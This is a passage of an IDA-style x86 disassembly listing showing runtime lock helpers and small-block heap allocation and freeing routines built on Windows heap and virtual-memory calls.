sub_4166A2	proc near		; CODE XREF: sub_4164D8+44p
					; sub_417CF5+66p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_4166B6
		add	eax, 10h
		push	eax
		call	sub_416901
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4166B6:				; CODE XREF: sub_4166A2+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		retn
sub_4166A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166C5	proc near		; CODE XREF: sub_412FDC+1p
					; sub_413180+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_42C900
		cmp	eax, ecx
		jb	short loc_4166E9
		cmp	eax, offset dword_42CB60
		ja	short loc_4166E9
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_41686D
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4166E9:				; CODE XREF: sub_4166C5+Bj
					; sub_4166C5+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41F018	; RtlLeaveCriticalSection
		retn
sub_4166C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166F4	proc near		; CODE XREF: sub_416578+9p
					; sub_417CF5+7Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_416708
		add	eax, 10h
		push	eax
		call	sub_41686D
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_416708:				; CODE XREF: sub_4166F4+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41F018	; RtlLeaveCriticalSection
		retn
sub_4166F4	endp

; ---------------------------------------------------------------------------
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_416764	proc near		; CODE XREF: sub_41677E+20p
		cmp	dword_479E5C, 2
		jnz	short loc_41677A
		cmp	dword_479E68, 5
		jb	short loc_41677A
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41677A:				; CODE XREF: sub_416764+7j
					; sub_416764+10j
		push	3
		pop	eax
		retn
sub_416764	endp


; =============== S U B	R O U T	I N E =======================================



sub_41677E	proc near		; CODE XREF: .text:004149F3p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_41F16C	; HeapCreate
		test	eax, eax
		mov	dword_47A63C, eax
		jz	short loc_4167C8
		call	sub_416764
		cmp	eax, 3
		mov	dword_47A640, eax
		jnz	short loc_4167CB
		push	3F8h
		call	sub_416932
		test	eax, eax
		pop	ecx
		jnz	short loc_4167CB
		push	dword_47A63C
		call	ds:dword_41F168	; HeapDestroy


loc_4167C8:				; CODE XREF: sub_41677E+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4167CB:				; CODE XREF: sub_41677E+2Dj
					; sub_41677E+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_41677E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167CF	proc near		; CODE XREF: sub_4154C7p
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_479EC0


loc_4167D8:				; CODE XREF: sub_4167CF+35j
		cmp	dword_42CB8C[esi*8], 1
		jnz	short loc_416800
		lea	eax, ds:42CB88h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41680C


loc_416800:				; CODE XREF: sub_4167CF+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_4167D8
		xor	eax, eax
		inc	eax


loc_416809:				; CODE XREF: sub_4167CF+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41680C:				; CODE XREF: sub_4167CF+2Fj
		and	dword_42CB88[esi*8], 0
		xor	eax, eax
		jmp	short loc_416809
sub_4167CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416818	proc near		; CODE XREF: sub_415438p
		push	ebx
		mov	ebx, ds:dword_41F024
		push	esi
		mov	esi, offset dword_42CB88
		push	edi


loc_416826:				; CODE XREF: sub_416818+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_41683F
		cmp	dword ptr [esi+4], 1
		jz	short loc_41683F
		push	edi
		call	ebx	; RtlDeleteCriticalSection
		push	edi
		call	sub_412FE4
		and	dword ptr [esi], 0
		pop	ecx


loc_41683F:				; CODE XREF: sub_416818+12j
					; sub_416818+18j
		add	esi, 8
		cmp	esi, offset dword_42CCA8
		jl	short loc_416826
		mov	esi, offset dword_42CB88
		pop	edi


loc_416850:				; CODE XREF: sub_416818+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41685F
		cmp	dword ptr [esi+4], 1
		jnz	short loc_41685F
		push	eax
		call	ebx	; RtlDeleteCriticalSection


loc_41685F:				; CODE XREF: sub_416818+3Cj
					; sub_416818+42j
		add	esi, 8
		cmp	esi, offset dword_42CCA8
		jl	short loc_416850
		pop	esi
		pop	ebx
		retn
sub_416818	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41686D	proc near		; CODE XREF: sub_413037+2p
					; sub_4132F2+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	dword_42CB88[eax*8]
		call	ds:dword_41F018	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_41686D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416882	proc near		; CODE XREF: sub_416901+14p
					; sub_417CF5+4Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		lea	esi, ds:42CB88h[esi*8]
		cmp	dword ptr [esi], 0
		jz	short loc_41689A
		xor	eax, eax
		inc	eax
		jmp	short loc_4168FE
; ---------------------------------------------------------------------------


loc_41689A:				; CODE XREF: sub_416882+11j
		push	edi
		push	18h
		call	sub_41344D
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_4168B8


loc_4168A9:				; CODE XREF: sub_416882+63j
		call	sub_417C70
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_4168FD
; ---------------------------------------------------------------------------


loc_4168B8:				; CODE XREF: sub_416882+25j
		push	0Ah
		call	sub_416901
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_4168EB
		push	0FA0h
		push	edi
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4168E7
		push	edi
		call	sub_412FE4
		push	0Ah
		call	sub_41686D
		pop	ecx
		pop	ecx
		jmp	short loc_4168A9
; ---------------------------------------------------------------------------


loc_4168E7:				; CODE XREF: sub_416882+52j
		mov	[esi], edi
		jmp	short loc_4168F2
; ---------------------------------------------------------------------------


loc_4168EB:				; CODE XREF: sub_416882+41j
		push	edi
		call	sub_412FE4
		pop	ecx


loc_4168F2:				; CODE XREF: sub_416882+67j
		push	0Ah
		call	sub_41686D
		xor	eax, eax
		pop	ecx
		inc	eax


loc_4168FD:				; CODE XREF: sub_416882+34j
		pop	edi


loc_4168FE:				; CODE XREF: sub_416882+16j
		pop	esi
		pop	ebp
		retn
sub_416882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416901	proc near		; CODE XREF: sub_412FE4+1Ep
					; sub_41318A+51p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:42CB88h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_416927
		push	eax
		call	sub_416882
		test	eax, eax
		pop	ecx
		jnz	short loc_416927
		push	11h
		call	sub_4148E1
		pop	ecx


loc_416927:				; CODE XREF: sub_416901+11j
					; sub_416901+1Cj
		push	dword ptr [esi]
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_416901	endp


; =============== S U B	R O U T	I N E =======================================



sub_416932	proc near		; CODE XREF: sub_41677E+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_47A63C
		call	ds:dword_41F13C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_47A628, eax
		jnz	short loc_41694F
		retn
; ---------------------------------------------------------------------------


loc_41694F:				; CODE XREF: sub_416932+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_47A620, 0
		and	dword_47A624, 0
		mov	dword_47A630, eax
		xor	eax, eax
		mov	dword_47A62C, ecx
		mov	dword_47A634, 10h
		inc	eax
		retn
sub_416932	endp


; =============== S U B	R O U T	I N E =======================================



sub_41697A	proc near		; CODE XREF: sub_412FE4+29p
					; sub_41318A+5Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_47A624
		lea	ecx, [eax+eax*4]
		mov	eax, dword_47A628
		lea	ecx, [eax+ecx*4]
		jmp	short loc_41699E
; ---------------------------------------------------------------------------


loc_41698C:				; CODE XREF: sub_41697A+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4169A4
		add	eax, 14h


loc_41699E:				; CODE XREF: sub_41697A+10j
		cmp	eax, ecx
		jb	short loc_41698C
		xor	eax, eax

locret_4169A4:				; CODE XREF: sub_41697A+1Fj
		retn
sub_41697A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169A5	proc near		; CODE XREF: sub_412FE4+38p
					; sub_41318A+B8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_416CB9
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_416A70
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_416A08
		push	3Fh
		pop	edx


loc_416A08:				; CODE XREF: sub_4169A5+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_416A52
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_416A33
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416A4F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_416A4F
; ---------------------------------------------------------------------------


loc_416A33:				; CODE XREF: sub_4169A5+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416A4F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_416A4F:				; CODE XREF: sub_4169A5+85j
					; sub_4169A5+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_416A52:				; CODE XREF: sub_4169A5+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_416A70:				; CODE XREF: sub_4169A5+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_416A7E
		push	3Fh
		pop	edx


loc_416A7E:				; CODE XREF: sub_4169A5+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_416B1C
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_416AA3
		mov	ebx, esi


loc_416AA3:				; CODE XREF: sub_4169A5+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_416AB5
		mov	edx, esi


loc_416AB5:				; CODE XREF: sub_4169A5+10Cj
		cmp	ebx, edx
		jz	short loc_416B17
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_416AFF
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_416AE5
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_416AFF
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_416AFF
; ---------------------------------------------------------------------------


loc_416AE5:				; CODE XREF: sub_4169A5+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_416AFF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_416AFF:				; CODE XREF: sub_4169A5+11Dj
					; sub_4169A5+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_416B17:				; CODE XREF: sub_4169A5+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_416B1F
; ---------------------------------------------------------------------------


loc_416B1C:				; CODE XREF: sub_4169A5+E2j
		mov	ebx, [ebp+arg_0]


loc_416B1F:				; CODE XREF: sub_4169A5+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_416B2D
		cmp	ebx, edx
		jz	loc_416BAD


loc_416B2D:				; CODE XREF: sub_4169A5+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_416BAD
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_416B84
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416B73
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416B73:				; CODE XREF: sub_4169A5+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_416BAD
; ---------------------------------------------------------------------------


loc_416B84:				; CODE XREF: sub_4169A5+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416B9A
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416B9A:				; CODE XREF: sub_4169A5+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_416BAD:				; CODE XREF: sub_4169A5+182j
					; sub_4169A5+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_416CB8
		mov	eax, dword_47A620
		test	eax, eax
		jz	loc_416CAA
		mov	ecx, dword_47A638
		mov	esi, ds:dword_41F170
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_47A638
		mov	eax, dword_47A620
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_47A620
		mov	eax, [eax+10h]
		mov	ecx, dword_47A638
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_47A620
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_47A620
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_416C3B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_47A620


loc_416C3B:				; CODE XREF: sub_4169A5+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_416CAA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_47A620
		push	dword ptr [eax+10h]
		push	0
		push	dword_47A63C
		call	ds:dword_41F134	; RtlFreeHeap
		mov	eax, dword_47A624
		mov	edx, dword_47A628
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_47A620
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41BC70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_47A624
		cmp	eax, dword_47A620
		jbe	short loc_416CA0
		sub	[ebp+arg_0], 14h


loc_416CA0:				; CODE XREF: sub_4169A5+2F5j
		mov	eax, dword_47A628
		mov	dword_47A630, eax


loc_416CAA:				; CODE XREF: sub_4169A5+223j
					; sub_4169A5+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_47A620, eax
		mov	dword_47A638, edi


loc_416CB8:				; CODE XREF: sub_4169A5+216j
		pop	ebx


loc_416CB9:				; CODE XREF: sub_4169A5+37j
		pop	edi
		pop	esi
		leave
		retn
sub_4169A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CBD	proc near		; CODE XREF: sub_417159+150p
		mov	eax, dword_47A624
		mov	ecx, dword_47A634
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_416D03
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_47A628
		push	edi
		push	dword_47A63C
		call	ds:dword_41F138	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_416CF2
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416CF2:				; CODE XREF: sub_416CBD+2Fj
		add	dword_47A634, 10h
		mov	dword_47A628, eax
		mov	eax, dword_47A624


loc_416D03:				; CODE XREF: sub_416CBD+10j
		mov	ecx, dword_47A628
		push	esi
		push	41C4h
		push	8
		push	dword_47A63C
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:dword_41F13C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_416D2E


loc_416D2A:				; CODE XREF: sub_416CBD+9Bj
		xor	eax, eax
		jmp	short loc_416D71
; ---------------------------------------------------------------------------


loc_416D2E:				; CODE XREF: sub_416CBD+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41F174	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_416D5A
		push	dword ptr [esi+10h]
		push	edi
		push	dword_47A63C
		call	ds:dword_41F134	; RtlFreeHeap
		jmp	short loc_416D2A
; ---------------------------------------------------------------------------


loc_416D5A:				; CODE XREF: sub_416CBD+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_47A624
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_416D71:				; CODE XREF: sub_416CBD+6Fj
		pop	esi
		pop	edi
		retn
sub_416CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D74	proc near		; CODE XREF: sub_417159+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_416D8C
; ---------------------------------------------------------------------------


loc_416D89:				; CODE XREF: sub_416D74+1Aj
		shl	eax, 1
		inc	ebx


loc_416D8C:				; CODE XREF: sub_416D74+13j
		test	eax, eax
		jge	short loc_416D89
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_416DA5:				; CODE XREF: sub_416D74+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_416DA5
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:dword_41F174	; VirtualAlloc
		test	eax, eax
		jnz	short loc_416DD8
		or	eax, 0FFFFFFFFh
		jmp	loc_416E75
; ---------------------------------------------------------------------------


loc_416DD8:				; CODE XREF: sub_416D74+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_416E28
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_416DF0:				; CODE XREF: sub_416D74+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_416DF0
		mov	edx, [ebp+var_4]


loc_416E28:				; CODE XREF: sub_416D74+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_416E65
		or	[eax+4], edi


loc_416E65:				; CODE XREF: sub_416D74+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_416E75:				; CODE XREF: sub_416D74+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416D74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E7A	proc near		; CODE XREF: sub_41318A+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_41701C
		test	bl, 1
		jnz	loc_417015
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_417015
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_416EEF
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_416EEF:				; CODE XREF: sub_416E7A+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_416F3A
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_416F1B
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416F3A
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_416F3A
; ---------------------------------------------------------------------------


loc_416F1B:				; CODE XREF: sub_416E7A+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416F3A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_416F3A:				; CODE XREF: sub_416E7A+7Bj
					; sub_416E7A+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_417003
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_416F74
		push	3Fh
		pop	edi


loc_416F74:				; CODE XREF: sub_416E7A+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_416FF1
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_416FC8
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_416FC0
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416FC0:				; CODE XREF: sub_416E7A+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_416FE8
; ---------------------------------------------------------------------------


loc_416FC8:				; CODE XREF: sub_416E7A+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_416FDE
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416FDE:				; CODE XREF: sub_416E7A+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_416FE8:				; CODE XREF: sub_416E7A+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_416FF1:				; CODE XREF: sub_416E7A+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_417006
; ---------------------------------------------------------------------------


loc_417003:				; CODE XREF: sub_416E7A+DEj
		mov	edx, [ebp+arg_4]


loc_417006:				; CODE XREF: sub_416E7A+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_417151
; ---------------------------------------------------------------------------


loc_417015:				; CODE XREF: sub_416E7A+50j
					; sub_416E7A+5Aj
		xor	eax, eax
		jmp	loc_417154
; ---------------------------------------------------------------------------


loc_41701C:				; CODE XREF: sub_416E7A+47j
		jge	loc_417151
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_417047
		push	3Fh
		pop	esi


loc_417047:				; CODE XREF: sub_416E7A+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_4170D1
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_417060
		push	3Fh
		pop	esi


